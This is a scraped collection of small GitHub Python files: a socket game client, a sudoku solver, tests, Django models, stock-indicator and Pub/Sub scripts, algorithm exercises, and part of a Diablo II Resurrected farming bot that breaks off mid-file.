sc.recv(98).decode()\n print(grid)\n elif action == NEW_PLAYER:\n print(\"Nouveau joueur connecté\")\n elif action == GET_CLIENT_SHOT:\n sc.send(input(\"Quelle case voulez-vous jouer ?\").encode(\"utf-8\"))\n elif action == WINNER:\n print(\"Vous avez gagné !\")\n elif action == LOOSER:\n print(\"Vous avez perdu !\")\n elif action == SCORE:\n score = sc.recv(22).decode()\n print(score)\n elif action == REPLAY:\n sc.send(input(\"Voulez-vous rejouer ? (Y / N)\\n\").encode(\"utf-8\"))\n\n# close socket\nprint(\"Close\")\nsc.close()\n","repo_name":"NCombarieu/Morpion","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":1552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1315381297","text":"from file_manager import * # idea: usare griglia delle entropie?\r\n\r\nSIZE = 9 # solo 9x9\r\n\r\n\r\ndef initialize_grid():\r\n grid = [[None for _ in range(SIZE)] for _ in range(SIZE)]\r\n for i in range(SIZE):\r\n for j in range(SIZE):\r\n grid[i][j] = [1 if i != SIZE else -1 for i in range(SIZE + 1)]\r\n return grid\r\n\r\n\r\ndef compile_grid(grid, data):\r\n for index, number in enumerate(data):\r\n if number != 0:\r\n for i in range(SIZE):\r\n grid[index // SIZE][index % SIZE][i] = int(i == number - 1)\r\n grid[index // SIZE][index % SIZE][-1] = number - 1\r\n decrease_entropy(grid, index % SIZE, index // SIZE)\r\n\r\n\r\ndef available(x, y):\r\n return 0 <= x < SIZE and 0 <= y < SIZE\r\n\r\n\r\ndef decrease_entropy(grid, x, y): # chiamata quando viene compiuta una mossa\r\n v = grid[y][x][-1]\r\n\r\n for i in range(SIZE):\r\n if available(x, i) and grid[i][x][-1] == -1: # colonna\r\n grid[i][x][v] = 0\r\n if available(i, y) and grid[y][i][-1] == -1: # riga\r\n grid[y][i][v] = 0\r\n if grid[(y // 3) * 3 + i // 3][(x // 3) * 3 + i % 3][-1] == -1: # quadrato\r\n grid[(y // 3) * 3 + i // 3][(x // 3) * 3 + i % 3][v] = 0\r\n\r\n\r\ndef collapse(grid, x, y, v):\r\n grid[y][x][-1] = v\r\n grid[y][x][v] = 0\r\n\r\n\r\ndef stack_add(stack, grid, x, y): # dovrebbe funzionare...\r\n copy = [[None for _ in range(SIZE)] for _ in range(SIZE)]\r\n \r\n for i in range(SIZE):\r\n for j in range(SIZE):\r\n copy[i][j] = [k for k in grid[i][j]]\r\n copy[y][x][-1] = -1\r\n stack.append(copy)\r\n\r\n\r\ndef find_collapse(grid, stack):\r\n x, y, v, e = None, None, None, SIZE + 1\r\n flag = False\r\n status = None # 0 avanti, 1 completo, 2 contraddizione\r\n\r\n for i in range(SIZE):\r\n for j in range(SIZE):\r\n if grid[i][j][-1] == -1:\r\n current = sum(grid[i][j][:-1])\r\n\r\n if current < e and current != 0: # randomizzare?\r\n e = current\r\n y, x = i, j\r\n candidates = [n for n, k in enumerate(grid[i][j][:-1]) if k]\r\n v = candidates[0]\r\n\r\n if current == 1:\r\n flag = True\r\n break\r\n\r\n elif current == 0:\r\n return i, j, 2\r\n\r\n if flag:\r\n break\r\n\r\n if x is None or y is None or v is None: # tutte condizioni equivalenti...\r\n return x, y, 1\r\n\r\n collapse(grid, x, y, v) # compi la scelta\r\n\r\n if not flag: # scelta arbitraria\r\n status = 0\r\n stack_add(stack, grid, x, y)\r\n\r\n return x, y, status\r\n\r\n\r\n\r\ndef solve(input_file):\r\n data = obtain_grid(input_file)\r\n grid = initialize_grid()\r\n compile_grid(grid, data)\r\n\r\n stack = []\r\n\r\n while True:\r\n\r\n x, y, s = find_collapse(grid, stack)\r\n\r\n if s == 2:\r\n grid = stack.pop(-1)\r\n elif s != 1:\r\n decrease_entropy(grid, x, y)\r\n else:\r\n break\r\n\r\n\r\n print(\"done\")\r\n write_output(\"output.txt\", grid)\r\n\r\n\r\nsolve(\"input.txt\")\r\n","repo_name":"Sierpinski22/Python-Projects","sub_path":"sudoku solver/solver.py","file_name":"solver.py","file_ext":"py","file_size_in_byte":3119,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20131406679","text":"import unittest\n\nimport zope.interface.verify\n\nfrom mk import interfaces\nfrom mk import resources\n\n\nclass RootResourceTestCase(unittest.TestCase):\n def test_base_resource_sets_request_on_self(self):\n request = {}\n resource = resources.BaseResource(request)\n self.assertIs(resource.request, request)\n\n def test_root_resource_implements_root_endpoint(self):\n zope.interface.verify.verifyClass(\n interfaces.IRootEndpoint,\n resources.RootResource,\n )\n","repo_name":"monokrome/monokro.me","sub_path":"mk/resources_spec.py","file_name":"resources_spec.py","file_ext":"py","file_size_in_byte":510,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"70635293548","text":"n1 = int(input(\"Qual o primeiro número? \"))\nn2 = int(input(\"Qual o segundo número? \"))\ns = n1 + n2\nm = n1 * n2\nd = n1 / n2\ndi = n1 // n2\ne = n1 ** n2\nr = n1 % n2\n# para formatar 3 números após a vírgula (:.3f)\n# Para não pular a linha e/ou adicional algo no final (end = ' ') e para adicionar outra linha (\\n)\nprint(\"A soma é {},\\nO produto é: {} e a divisão é: {:.3f}\".format(s, m, d), end=\" \")\nprint(\"A divisão inteira é: {}, a potência é: {} e o resto é: {}\".format(di, e, r))\n","repo_name":"GigioFu/PycharmProjects","sub_path":"Curso_em_Video/Exercícios de AulaM1/operadoes_aritmedicos.py","file_name":"operadoes_aritmedicos.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"16474889837","text":"from django.db import models\nfrom django.contrib.auth.models import User\n\n# Create your models here.\nclass Task(models.Model):\n user = models.ForeignKey(User, on_delete=models.CASCADE, verbose_name=\"Created By\")\n title = models.CharField(max_length=100, verbose_name=\"Title\")\n completed = models.BooleanField(default=False, verbose_name=\"Completed\")\n created_at = models.DateTimeField(auto_now_add=True)\n updated_at = models.DateTimeField(auto_now=True)\n\n def __str__(self):\n return self.title","repo_name":"asyraphile/todolist","sub_path":"main/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6162530052","text":"from typing import List\n\nfrom src.repositories.telegram_chat_ids_repository.base import TelegramChatIdsRepositoryABC\n\n\nclass TelegramChatIdsRepositoryLocal(TelegramChatIdsRepositoryABC):\n _filename: str\n\n def __init__(self, filename: str):\n self._filename = filename\n\n async def get_all_chats(self) -> List[str]:\n with open(self._filename, \"r\") as f:\n line = f.readline()\n return line.split(\",\")\n\n async def add_chat(self, chat_id: str):\n with open(self._filename, \"a\") as f:\n f.write(f\"{chat_id},\")\n\n async def remove_chat(self, chat_id: str):\n chats = await self.get_all_chats()\n filtered = filter(lambda id_: id_ != chat_id, chats)\n self.set_chats(list(filtered))\n\n def set_chats(self, chat_ids: List[str]):\n with open(self._filename, \"w\") as f:\n f.write(\",\".join(chat_ids))\n\n async def is_chat_id_subscribed(self, chat_id: str) -> bool:\n with open(self._filename, \"r\") as f:\n ids = f.readline().split(\",\")\n return chat_id in ids\n","repo_name":"vdor/tgn-water-bot","sub_path":"src/repositories/telegram_chat_ids_repository/local.py","file_name":"local.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"74166072427","text":"import baostock as bs\nimport pandas as pd\nimport talib as ta\nimport datetime\nimport numpy as np\nfrom stock_pandas import StockDataFrame\n\n\ncode = 'sz.002241'\nstart_date = '2000-01-01'\nend_date = '2022-03-25'\n\n# global_dateday = None\nglobal_dateday = '2022-04-07'\nlg = bs.login()\n\nparams = []\nkdj_params = '9,3,3'\nwith open('input_params.txt', 'r') as f:\n code_list = f.readlines()\n for index, item in enumerate(code_list):\n item = item.strip()\n if index == 2:\n kdj_params = item\n item = item.split(',')\n \n params += [int(i) for i in item]\n\n print(params)\n\ndef get_data(code, end_date, start_date='2000-01-01'):\n #Step1: 获取数据\n print(code)\n rs = bs.query_history_k_data_plus(code,\n \"date,code,open,high,low,close,preclose,volume,amount,turn\",\n start_date=start_date, end_date=end_date, frequency=\"d\", adjustflag='2')#注意adjustflag取前复权\n data_list = []\n while (rs.error_code == '0') & rs.next():\n data_list.append(rs.get_row_data())\n df = pd.DataFrame(data_list, columns=rs.fields)\n df[['open', 'high', 'low', 'close', 'volume']] = df[['open', 'high', 'low', 'close', 'volume']].astype(\n 'float64')\n df = df.rename(columns={'date': 'datetime'})\n df.index = pd.DatetimeIndex(df['datetime'])\n # bs.logout()\n import time\n time_start=time.time()\n \n #Step2: 利用Pandas 计算MACD\n \n short_ema = df['close'].ewm(span=params[0]).mean()\n long_ema = df['close'].ewm(span=params[1]).mean()\n df.loc[:, 'DIFF'] = short_ema - long_ema\n df.loc[:, 'DEA'] = df['DIFF'].ewm(span=params[2]).mean()\n df.loc[:, 'MACD'] = 2 * (df['DIFF'] - df['DEA'])\n df[\"rsi_6\"] = ta.RSI(df['close'], timeperiod=params[3])\n df[\"rsi_12\"] = ta.RSI(df['close'], timeperiod=params[4])\n df[\"rsi_24\"] = ta.RSI(df['close'], timeperiod=params[5])\n\n # low_list = df['low'].rolling(9, min_periods=9).min()\n # low_list.fillna(value=df['low'].expanding().min(), inplace=True)\n # high_list = df['high'].rolling(9, min_periods=9).max()\n # high_list.fillna(value = df['high'].expanding().max(), inplace=True)\n # rsv = (df['close'] - low_list) / (high_list - low_list) * 100\n # df['k'] = pd.DataFrame(rsv).ewm(com=2).mean()\n # df['d'] = df['k'].ewm(com=2).mean()\n # df['j'] = 3 * df['k'] - 2 * df['d']\n time_end=time.time()\n format = '%Y-%m-%d'\n dateday = datetime.date.today().strftime(format)\n if global_dateday:\n dateday = global_dateday\n\n stock = StockDataFrame(df)\n kdj = stock[[f'kdj.k:{kdj_params}', f'kdj.d:{kdj_params}', f'kdj.j:{kdj_params}']]\n df['k'] = kdj.loc[dateday][0]\n df['d'] = kdj.loc[dateday][1]\n df['j'] = kdj.loc[dateday][2]\n\n # import ipdb;ipdb.set_trace()\n\n df_filter = df[df['datetime']==dateday]\n # import ipdb;ipdb.set_trace()\n return deal_df(df_filter)\n\n\ndef deal_df(df):\n df_new = pd.DataFrame()\n df_new['时间'] = df['datetime']\n df_new['股票代码'] = df['code']\n df_new['当前股价'] = df['close']\n df_new['开盘股价'] = df['open']\n df_new['涨跌幅'] = (df['close'] - df['preclose'].astype(float) ) / df['preclose'].astype(float) \n df_new['收盘股价'] = df['preclose']\n df_new['最高价'] = df['high']\n df_new['最低价'] = df['low']\n df_new['成交量'] = df['volume']\n df_new['成交额'] = df['amount']\n df_new['换手(实)'] = df['turn']\n df_new['MACD'] = df['MACD']\n df_new['DIFF'] = df['DIFF']\n df_new['DEA'] = df['DEA']\n df_new['rsi_6'] = df['rsi_6']\n df_new['rsi_12'] = df['rsi_12']\n df_new['rsi_24'] = df['rsi_24']\n df_new['k'] = df['k']\n df_new['d'] = df['d']\n df_new['j'] = df['j']\n # import ipdb;ipdb.set_trace()\n return df_new\nif __name__ == '__main__':\n get_data(code, start_date, end_date)","repo_name":"maiff/stockSpider","sub_path":"zhibiao.py","file_name":"zhibiao.py","file_ext":"py","file_size_in_byte":3875,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"1749415418","text":"\"\"\"\nTest function to pull messages from pub/sub topic\n\"\"\"\n\nimport os\nimport json\nfrom google.cloud import pubsub_v1\nfrom dotenv import load_dotenv\nfrom pathlib import Path\n\ndotenv_path = Path(__file__).resolve().parents[1] / '.env'\nload_dotenv(dotenv_path=dotenv_path)\n\n\nPROJECT_ID = os.getenv(\"PROJECT_ID\")\nSUB_ID = os.getenv('BACKEND_PULL_SUBSCRIBER_ID')\n\nsubscriber = pubsub_v1.SubscriberClient()\n\nsubscriber_path = subscriber.subscription_path(PROJECT_ID, SUB_ID)\n\ndef receive():\n response = subscriber.pull(\n request={\n 'subscription': subscriber_path,\n 'max_messages': 1,\n }\n )\n\n # acknowledge reception\n msg = response.received_messages[0]\n ack_id = msg.ack_id\n subscriber.acknowledge(\n request={\n 'subscription': subscriber_path,\n 'ack_ids': [ack_id],\n }\n )\n data = json.loads(msg.message.data)\n return data\n\nif __name__ == '__main__':\n print(receive())","repo_name":"vykuang/mlops-zoomcamp","sub_path":"w4-deployment/stream/backend/receive.py","file_name":"receive.py","file_ext":"py","file_size_in_byte":964,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"43745531333","text":"#!/usr/bin/python3\n\n# -*- coding: utf-8 -*-\n\nfrom Prima_algorythm import *\n\n\ndef get_min(R, U):\n rm = (INF, -1, -1)\n for v in U:\n rr = min(R, key=lambda x: x[0] if (x[1] == v or x[2] == v) and (x[1] not in U or x[2] not in U) else INF)\n if rm[0] > rr[0]:\n rm = rr\n\n return rm\n\n","repo_name":"cherrydan/python-for-work","sub_path":"Algorythms by selfedu/Prima_algorythm/get_min.py","file_name":"get_min.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21908323836","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('pray', '0002_pray_pray_time'),\n ]\n\n operations = [\n migrations.RenameField(\n model_name='attendance',\n old_name='joined',\n new_name='joined_afternoon',\n ),\n migrations.RemoveField(\n model_name='pray',\n name='pray_time',\n ),\n migrations.AddField(\n model_name='attendance',\n name='joined_morning',\n field=models.BooleanField(default=False),\n ),\n ]\n","repo_name":"wanspaul/holyhappy","sub_path":"pray/migrations/0003_auto_20170512_1428.py","file_name":"0003_auto_20170512_1428.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72434208106","text":"n, m = [int(i) for i in input().split(' ')]\na = [0] * (n + 1)\ns = input().split(' ')\nfor i in range(n):\n a[i + 1] = int(s[i])\n# 用下面这种方法会RE\n# a = [int(i) for i in input().split(' ')]\n#\n# 解法一\n# ans1, ans2, ans3 = 0, 0, 0\n#\n# for i in range(n):\n# for j in range(i, n):\n# a_sum = 0\n# for k in range(i, j+1):\n# a_sum += a[k]\n#\n# if a_sum > ans3 and a_sum <= m:\n# ans1 = i\n# ans2 = j\n# ans3 = a_sum\n# print(ans1+1,ans2,ans3)\n\n# 解法二--使用队列,C++能到满分,python只能到60\ni, j, ansi, ansj = 1, 1, 1, 1\nansmax = 0\na_sum = 0\nwhile i <= n:\n while j <= n and a_sum + a[j] <= m:\n a_sum = a_sum + a[j]\n j += 1\n if a_sum <= m and a_sum > ansmax:\n ansmax = a_sum\n ansi = i\n ansj = j - 1\n a_sum -= a[i]\n i += 1\n\nprint(ansi, ansj, ansmax)\n","repo_name":"jellier/HetaoHomeWork","sub_path":"算法练习/P5745_区间最大和.py","file_name":"P5745_区间最大和.py","file_ext":"py","file_size_in_byte":905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1499831839","text":"from transitions import Machine\nimport time\nimport keyboard\nimport time\nimport os\nimport random\nimport cv2\nfrom copy import copy\nfrom typing import Union\nfrom collections import OrderedDict\n\nfrom utils.misc import wait\nfrom game_stats import GameStats\nfrom logger import Logger\nfrom config import Config\nfrom screen import Screen\nfrom template_finder import TemplateFinder\nfrom char import IChar\nfrom item import ItemFinder\nfrom item.pickit import PickIt\nfrom ui import UiManager\nfrom ui import BeltManager\nfrom pather import Pather, Location\nfrom npc_manager import NpcManager\nfrom health_manager import HealthManager\nfrom death_manager import DeathManager\nfrom char.sorceress import LightSorc, BlizzSorc, NovaSorc\nfrom char.trapsin import Trapsin\nfrom char.hammerdin import Hammerdin\nfrom char.barbarian import Barbarian\nfrom char.necro import Necro\nfrom char.basic import Basic\nfrom char.basic_ranged import Basic_Ranged\n\nfrom run import Pindle, ShenkEld, Trav, Nihlatak, Arcane, Diablo, LowerKurast\nfrom town import TownManager, A1, A2, A3, A4, A5\n\n# Added for dclone ip hunt\nfrom messenger import Messenger\nfrom utils.dclone_ip import get_d2r_game_ip\n\nclass Bot:\n def __init__(self, screen: Screen, game_stats: GameStats, template_finder: TemplateFinder, pick_corpse: bool = False):\n self._screen = screen\n self._game_stats = game_stats\n self._messenger = Messenger()\n self._config = Config()\n self._template_finder = template_finder\n self._item_finder = ItemFinder()\n self._ui_manager = UiManager(self._screen, self._template_finder, self._game_stats)\n self._belt_manager = BeltManager(self._screen, self._template_finder)\n self._pather = Pather(self._screen, self._template_finder)\n self._pickit = PickIt(self._screen, self._item_finder, self._ui_manager, self._belt_manager)\n\n # Create Character\n if self._config.char[\"type\"] in [\"sorceress\", \"light_sorc\"]:\n self._char: IChar = LightSorc(self._config.light_sorc, self._screen, self._template_finder, self._ui_manager, self._pather)\n elif self._config.char[\"type\"] == \"blizz_sorc\":\n self._char: IChar = BlizzSorc(self._config.blizz_sorc, self._screen, self._template_finder, self._ui_manager, self._pather)\n elif self._config.char[\"type\"] == \"nova_sorc\":\n self._char: IChar = NovaSorc(self._config.nova_sorc, self._screen, self._template_finder, self._ui_manager, self._pather)\n elif self._config.char[\"type\"] == \"hammerdin\":\n self._char: IChar = Hammerdin(self._config.hammerdin, self._screen, self._template_finder, self._ui_manager, self._pather)\n elif self._config.char[\"type\"] == \"trapsin\":\n self._char: IChar = Trapsin(self._config.trapsin, self._screen, self._template_finder, self._ui_manager, self._pather)\n elif self._config.char[\"type\"] == \"barbarian\":\n self._char: IChar = Barbarian(self._config.barbarian, self._screen, self._template_finder, self._ui_manager, self._pather)\n elif self._config.char[\"type\"] == \"necro\":\n self._char: IChar = Necro(self._config.necro, self._screen, self._template_finder, self._ui_manager, self._pather)\n elif self._config.char[\"type\"] == \"basic\":\n self._char: IChar = Basic(self._config.basic, self._screen, self._template_finder, self._ui_manager, self._pather)\n elif self._config.char[\"type\"] == \"basic_ranged\":\n self._char: IChar = Basic_Ranged(self._config.basic_ranged, self._screen, self._template_finder, self._ui_manager, self._pather)\n else:\n Logger.error(f'{self._config.char[\"type\"]} is not supported! Closing down bot.')\n os._exit(1)\n\n # Create Town Manager\n npc_manager = NpcManager(screen, self._template_finder)\n a5 = A5(self._screen, self._template_finder, self._pather, self._char, npc_manager)\n a4 = A4(self._screen, self._template_finder, self._pather, self._char, npc_manager)\n a3 = A3(self._screen, self._template_finder, self._pather, self._char, npc_manager)\n a2 = A2(self._screen, self._template_finder, self._pather, self._char, npc_manager)\n a1 = A1(self._screen, self._template_finder, self._pather, self._char, npc_manager)\n self._town_manager = TownManager(self._template_finder, self._ui_manager, self._item_finder, a1, a2, a3, a4, a5)\n self._route_config = self._config.routes\n self._route_order = self._config.routes_order\n\n # Create runs\n if self._route_config[\"run_shenk\"] and not self._route_config[\"run_eldritch\"]:\n Logger.error(\"Running shenk without eldtritch is not supported. Either run none or both\")\n os._exit(1)\n self._do_runs = {\n \"run_trav\": self._route_config[\"run_trav\"],\n \"run_pindle\": self._route_config[\"run_pindle\"],\n \"run_shenk\": self._route_config[\"run_shenk\"] or self._route_config[\"run_eldritch\"],\n \"run_nihlatak\": self._route_config[\"run_nihlatak\"],\n \"run_arcane\": self._route_config[\"run_arcane\"],\n \"run_diablo\": self._route_config[\"run_diablo\"],\n \"run_lowerkurast\": self._route_config[\"run_lowerkurast\"],\n }\n # Adapt order to the config\n self._do_runs = OrderedDict((k, self._do_runs[k]) for k in self._route_order if k in self._do_runs and self._do_runs[k])\n self._do_runs_reset = copy(self._do_runs)\n Logger.info(f\"Doing runs: {self._do_runs_reset.keys()}\")\n if self._config.general[\"randomize_runs\"]:\n self.shuffle_runs()\n self._pindle = Pindle(self._template_finder, self._pather, self._town_manager, self._ui_manager, self._char, self._pickit)\n self._shenk = ShenkEld(self._template_finder, self._pather, self._town_manager, self._ui_manager, self._char, self._pickit)\n self._trav = Trav(self._template_finder, self._pather, self._town_manager, self._ui_manager, self._char, self._pickit)\n self._nihlatak = Nihlatak(self._screen, self._template_finder, self._pather, self._town_manager, self._ui_manager, self._char, self._pickit)\n self._arcane = Arcane(self._screen, self._template_finder, self._pather, self._town_manager, self._ui_manager, self._char, self._pickit)\n self._diablo = Diablo(self._screen, self._template_finder, self._pather, self._town_manager, self._ui_manager, self._char, self._pickit)\n self._lowerkurast = LowerKurast(self._screen, self._template_finder, self._pather, self._town_manager, self._ui_manager, self._char, self._pickit)\n\n # Create member variables\n self._pick_corpse = pick_corpse\n self._picked_up_items = False\n self._curr_loc: Union[bool, Location] = None\n self._tps_left = 10 # assume half full tp book\n self._pre_buffed = False\n self._stopping = False\n self._pausing = False\n self._current_threads = []\n self._no_stash_counter = 0\n self._ran_no_pickup = False\n\n # Create State Machine\n self._states=['hero_selection', 'town', 'pindle', 'shenk', 'trav', 'nihlatak', 'arcane', 'diablo','lowerkurast']\n self._transitions = [\n { 'trigger': 'create_game', 'source': 'hero_selection', 'dest': 'town', 'before': \"on_create_game\"},\n # Tasks within town\n { 'trigger': 'maintenance', 'source': 'town', 'dest': 'town', 'before': \"on_maintenance\"},\n # Different runs\n { 'trigger': 'run_pindle', 'source': 'town', 'dest': 'pindle', 'before': \"on_run_pindle\"},\n { 'trigger': 'run_shenk', 'source': 'town', 'dest': 'shenk', 'before': \"on_run_shenk\"},\n { 'trigger': 'run_trav', 'source': 'town', 'dest': 'trav', 'before': \"on_run_trav\"},\n { 'trigger': 'run_nihlatak', 'source': 'town', 'dest': 'nihlatak', 'before': \"on_run_nihlatak\"},\n { 'trigger': 'run_arcane', 'source': 'town', 'dest': 'arcane', 'before': \"on_run_arcane\"},\n { 'trigger': 'run_diablo', 'source': 'town', 'dest': 'nihlatak', 'before': \"on_run_diablo\"},\n { 'trigger': 'run_lowerkurast', 'source': 'town', 'dest': 'lowerkurast', 'before': \"on_run_lowerkurast\"},\n # End run / game\n { 'trigger': 'end_run', 'source': ['shenk', 'pindle', 'nihlatak', 'trav', 'arcane', 'diablo','lowerkurast'], 'dest': 'town', 'before': \"on_end_run\"},\n { 'trigger': 'end_game', 'source': ['town', 'shenk', 'pindle', 'nihlatak', 'trav', 'arcane', 'diablo','lowerkurast','end_run'], 'dest': 'hero_selection', 'before': \"on_end_game\"},\n ]\n self.machine = Machine(model=self, states=self._states, initial=\"hero_selection\", transitions=self._transitions, queued=True)\n\n def draw_graph(self):\n # Draw the whole graph, graphviz binaries must be installed and added to path for this!\n from transitions.extensions import GraphMachine\n self.machine = GraphMachine(model=self, states=self._states, initial=\"hero_selection\", transitions=self._transitions, queued=True)\n self.machine.get_graph().draw('my_state_diagram.png', prog='dot')\n\n def get_belt_manager(self) -> BeltManager:\n return self._belt_manager\n\n def get_curr_location(self):\n return self._curr_loc\n\n def start(self):\n self.trigger('create_game')\n\n def stop(self):\n self._stopping = True\n\n def toggle_pause(self):\n self._pausing = not self._pausing\n if self._pausing:\n Logger.info(f\"Pause at next state change...\")\n else:\n Logger.info(f\"Resume\")\n self._game_stats.resume_timer()\n\n def trigger_or_stop(self, name: str, **kwargs):\n if self._pausing:\n Logger.info(f\"{self._config.general['name']} is now pausing\")\n self._game_stats.pause_timer()\n while self._pausing:\n time.sleep(0.2)\n if not self._stopping:\n self.trigger(name, **kwargs)\n\n def current_game_length(self):\n return self._game_stats.get_current_game_length()\n\n def shuffle_runs(self):\n tmp = list(self._do_runs.items())\n random.shuffle(tmp)\n self._do_runs = OrderedDict(tmp)\n\n def is_last_run(self):\n found_unfinished_run = False\n for key in self._do_runs:\n if self._do_runs[key]:\n found_unfinished_run = True\n break\n return not found_unfinished_run\n\n def on_create_game(self):\n keyboard.release(self._config.char[\"stand_still\"])\n # Start a game from hero selection\n self._game_stats.log_start_game()\n self._template_finder.search_and_wait([\"MAIN_MENU_TOP_LEFT\",\"MAIN_MENU_TOP_LEFT_DARK\"], roi=self._config.ui_roi[\"main_menu_top_left\"])\n if not self._ui_manager.start_game(): return\n self._curr_loc = self._town_manager.wait_for_town_spawn()\n\n # Check for the current game ip and pause if we are able to obtain the hot ip\n if self._config.dclone[\"region_ips\"] != \"\" and self._config.dclone[\"dclone_hotip\"] != \"\":\n cur_game_ip = get_d2r_game_ip()\n hot_ip = self._config.dclone[\"dclone_hotip\"]\n Logger.debug(f\"Current Game IP: {cur_game_ip} and HOTIP: {hot_ip}\")\n if hot_ip == cur_game_ip:\n self._messenger.send_message(f\"Dclone IP Found on IP: {cur_game_ip}\")\n print(\"Press Enter\")\n input()\n os._exit(1)\n else:\n Logger.info(f\"Please Enter the region ip and hot ip on config to use\")\n\n # Run /nopickup command to avoid picking up stuff on accident\n if not self._ran_no_pickup:\n self._ran_no_pickup = True\n if self._ui_manager.enable_no_pickup():\n Logger.info(\"Activated /nopickup\")\n else:\n Logger.error(\"Failed to detect if /nopickup command was applied or not\")\n self.trigger_or_stop(\"maintenance\")\n\n def on_maintenance(self):\n # Handle picking up corpse in case of death\n if self._pick_corpse:\n self._pick_corpse = False\n time.sleep(1.6)\n DeathManager.pick_up_corpse(self._screen)\n wait(1.2, 1.5)\n self._belt_manager.fill_up_belt_from_inventory(self._config.char[\"num_loot_columns\"])\n wait(0.5)\n # Look at belt to figure out how many pots need to be picked up\n self._belt_manager.update_pot_needs()\n\n # Check if should need some healing\n img = self._screen.grab()\n buy_pots = self._belt_manager.should_buy_pots()\n if HealthManager.get_health(img) < 0.6 or HealthManager.get_mana(img) < 0.2 or buy_pots:\n if buy_pots:\n Logger.info(\"Buy pots at next possible Vendor\")\n pot_needs = self._belt_manager.get_pot_needs()\n self._curr_loc = self._town_manager.buy_pots(self._curr_loc, pot_needs[\"health\"], pot_needs[\"mana\"])\n wait(0.5, 0.8)\n self._belt_manager.update_pot_needs()\n # TODO: Remove this, currently workaround cause too lazy to add all the pathes from MALAH\n if self._curr_loc == Location.A5_MALAH:\n if self._pather.traverse_nodes((Location.A5_MALAH, Location.A5_TOWN_START), self._char, force_move=True):\n self._curr_loc = Location.A5_TOWN_START\n else:\n self._curr_loc = False\n else:\n Logger.info(\"Healing at next possible Vendor\")\n self._curr_loc = self._town_manager.heal(self._curr_loc)\n if not self._curr_loc:\n return self.trigger_or_stop(\"end_game\", failed=True)\n\n # Check if we should force stash (e.g. when picking up items by accident or after failed runs or chicken/death)\n force_stash = False\n self._no_stash_counter += 1\n if not self._picked_up_items and (self._no_stash_counter > 4 or self._pick_corpse):\n self._no_stash_counter = 0\n force_stash = self._ui_manager.should_stash(self._config.char[\"num_loot_columns\"])\n # Stash stuff, either when item was picked up or after X runs without stashing because of unwanted loot in inventory\n if self._picked_up_items or force_stash:\n if self._config.char[\"id_items\"]:\n Logger.info(\"Identifying items\")\n self._curr_loc = self._town_manager.identify(self._curr_loc)\n if not self._curr_loc:\n return self.trigger_or_stop(\"end_game\", failed=True)\n Logger.info(\"Stashing items\")\n self._curr_loc = self._town_manager.stash(self._curr_loc)\n if not self._curr_loc:\n return self.trigger_or_stop(\"end_game\", failed=True)\n self._no_stash_counter = 0\n self._picked_up_items = False\n wait(1.0)\n\n # Check if we are out of tps or need repairing\n need_repair = self._ui_manager.repair_needed()\n if self._tps_left < random.randint(3, 5) or need_repair or self._config.char[\"always_repair\"]:\n if need_repair: Logger.info(\"Repair needed. Gear is about to break\")\n else: Logger.info(\"Repairing and buying TPs at next Vendor\")\n self._curr_loc = self._town_manager.repair_and_fill_tps(self._curr_loc)\n if not self._curr_loc:\n return self.trigger_or_stop(\"end_game\", failed=True)\n self._tps_left = 20\n wait(1.0)\n\n # Check if merc needs to be revived\n merc_alive = self._template_finder.search([\"MERC_A2\",\"MERC_A1\",\"MERC_A5\",\"MERC_A3\"], self._screen.grab(), threshold=0.9, roi=self._config.ui_roi[\"merc_icon\"]).valid\n if not merc_alive and self._config.char[\"use_merc\"]:\n Logger.info(\"Resurrect merc\")\n self._game_stats.log_merc_death()\n self._curr_loc = self._town_manager.resurrect(self._curr_loc)\n if not self._curr_loc:\n return self.trigger_or_stop(\"end_game\", failed=True)\n\n # Start a new run\n started_run = False\n for key in self._do_runs:\n if self._do_runs[key]:\n self.trigger_or_stop(key)\n started_run = True\n break\n if not started_run:\n self.trigger_or_stop(\"end_game\")\n\n def on_end_game(self, failed: bool = False):\n if self._config.general[\"info_screenshots\"] and failed:\n cv2.imwrite(\"./info_screenshots/info_failed_game_\" + time.strftime(\"%Y%m%d_%H%M%S\") + \".png\", self._screen.grab())\n self._curr_loc = False\n self._pre_buffed = False\n self._ui_manager.save_and_exit()\n self._game_stats.log_end_game(failed=failed)\n self._do_runs = copy(self._do_runs_reset)\n if self._config.general[\"randomize_runs\"]:\n self.shuffle_runs()\n wait(0.2, 0.5)\n self.trigger_or_stop(\"create_game\")\n\n def on_end_run(self):\n if not self._config.char[\"pre_buff_every_run\"]:\n self._pre_buffed = True\n success = self._char.tp_town()\n if success:\n self._tps_left -= 1\n self._curr_loc = self._town_manager.wait_for_tp(self._curr_loc)\n if self._curr_loc:\n return self.trigger_or_stop(\"maintenance\")\n if not self._ui_manager.has_tps():\n self._tps_left = 0\n self.trigger_or_stop(\"end_game\", failed=True)\n\n # All the runs go here\n # ==================================\n def _ending_run_helper(self, res: Union[bool, tuple[Location, bool]]):\n # either fill member variables with result data or mark run as failed\n failed_run = True\n if res:\n failed_run = False\n self._curr_loc, self._picked_up_items = res\n # in case its the last run or the run was failed, end game, otherwise move to next 